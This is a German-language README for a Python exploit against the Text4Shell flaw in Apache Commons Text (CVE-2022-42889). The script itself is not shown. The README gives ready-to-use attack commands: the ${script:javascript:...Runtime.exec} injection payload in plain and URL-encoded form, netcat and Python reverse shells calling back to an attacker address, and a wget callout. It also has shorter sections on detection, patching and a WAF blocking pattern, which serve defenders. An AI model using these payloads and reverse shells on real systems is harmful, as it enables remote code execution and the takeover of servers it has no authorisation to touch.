🚀 CVE-2022-42889 (Text4Shell) Exploit

Ein Python-Exploit für CVE-2022-42889 (Text4Shell), eine kritische Schwachstelle zur Remote-Code-Ausführung in Apache Commons Text vor Version 1.10.0.

📋 Inhaltsverzeichnis

• Beschreibung
• Schwachstellendetails
• Betroffene Versionen
• Exploit-Funktionen
• Voraussetzungen
• Verwendung
• Beispiele
• Funktionsweise
• Erkennung
• Abhilfe
• Referenzen
• Haftungsausschluss

📝 Beschreibung

Dieser Exploit zielt auf CVE-2022-42889 (Text4Shell) ab, eine Schwachstelle in Apache Commons Text, die Remote-Code-Ausführung (RCE) über speziell präparierte Eingabezeichenketten ermöglicht, die vom StringLookup-Interpolator verarbeitet werden.

Die Schwachstelle ist in ihrer Auswirkung ähnlich wie Log4Shell, betrifft jedoch eine andere Bibliothek. Wenn vom Benutzer gesteuerte Eingaben an anfällige Methoden weitergegeben werden, kann ein Angreifer beliebigen Code auf dem Zielsystem ausführen.

🎯 Schwachstellendetails

• CVE-ID: CVE-2022-42889
• CVSS-Score: 9,8 (Kritisch)
• Angriffsvektor: Netzwerk
• Erforderliche Berechtigungen: Keine
• Benutzerinteraktion: Keine
• Auswirkung: Vollständige Systemkompromittierung

Anfällige Komponente

Apache Commons Text bietet Zeichenketteninterpolation über die Schnittstelle StringLookup. Die interpolator-Suche ermöglicht die Auswertung von Ausdrücken mit verschiedenen Präfixen, darunter:

• ${script:javascript:...} – führt JavaScript-Code aus (Nashorn-Engine)
• ${url:UTF-8:...} – ruft URLs ab (SSRF)
• ${dns:...} – DNS-Abfragen

⚠️ Betroffene Versionen

Hinweis: Java-Versionen ≥ 15 sind nicht anfällig für RCE über das script-Präfix (Nashorn deaktiviert), können aber weiterhin für SSRF über die Präfixe url und dns anfällig sein.

✨ Exploit-Funktionen

• ✅ Remote-Code-Ausführung (RCE) über JavaScript-Interpolation
• ✅ Server-Side Request Forgery (SSRF) über URL-Interpolation
• ✅ URL-Kodierung schädlicher Nutzlasten
• ✅ Benutzerdefinierte Befehlsausführung
• ✅ Reverse-Shell-Erzeugung mit LHOST/LPORT
• ✅ Fehlerbehandlung und Anzeige der Antwort

📦 Voraussetzungen

• Python 3.6+
• Bibliothek requests

Abhängigkeiten installieren:

pip install requests

Verwendung

python3 text4shell.py -t <ZIEL_IP> -p <PORT> -c <BEFEHL> --lhost <IHRE_IP> --lport <IHR_PORT>

Argumente

💻 Beispiele

Beispiel 1: Einfacher Befehlstest

python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444

Beispiel 2: Reverse Shell mit netcat

# Listener starten
nc -lvnp 4444

# Exploit ausführen
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444

Beispiel 3: Python Reverse Shell

python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444

Beispiel 4: SSRF-Test

python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444

🔧 Funktionsweise

Nutzlastaufbau: Das Skript erstellt eine schädliche Zeichenkette mit der Syntax ${script:javascript:...}:

${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}

URL-Kodierung: Sonderzeichen werden URL-kodiert, um eine ordnungsgemäße Übertragung sicherzustellen:

%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D

HTTP-Anfrage: Das Skript sendet eine GET-Anfrage an:

http://TARGET:PORT/search?query=ENCODED_PAYLOAD

Befehlsausführung: Bei Anfälligkeit wertet das Ziel das JavaScript aus und führt den Befehl aus.

🔍 Erkennung

Prüfen Sie, ob Ihr System anfällig ist:

Manueller Test:

curl -s "http://target:8080/search?query=\${script:javascript:7*7}"

Wenn die Antwort 49 anstelle von ${script:javascript:7*7} enthält, ist das System anfällig.

Versionsprüfung:

• CHANGELOG- oder README-Dateien nach Apache Commons Text-Version durchsuchen
• Suchen Sie nach commons-text-*.jar-Dateien in der Anwendung

🛡️ Abhilfe

Apache Commons Text auf Version 1.10.0 oder höher aktualisieren

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>

Auf Java 15+ aktualisieren (deaktiviert die Nashorn-JavaScript-Engine)

Eingabevalidierung: Implementieren Sie eine strenge Validierung von Benutzereingaben.

Interpolation deaktivieren: Wenn nicht benötigt, vermeiden Sie die Verwendung von StringSubstitutor.createInterpolator().

Web Application Firewall (WAF): Blockieren Sie Anfragen, die Muster wie ${script:javascript:} enthalten.

📚 Referenzen

• NVD - CVE-2022-42889
• Apache Commons Text Sicherheit
• Tarlogic - Text4Shell Analyse
• CISA Warnung

⚠️ Haftungsausschluss

Dieser Exploit dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests. Die unbefugte Nutzung dieses Exploits gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Werkzeug verursacht werden.

📄 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.

🤝 Mitwirken

Beiträge, Probleme und Funktionsanfragen sind willkommen! Besuchen Sie gerne die Issues-Seite.

Happy Hacking! 🚀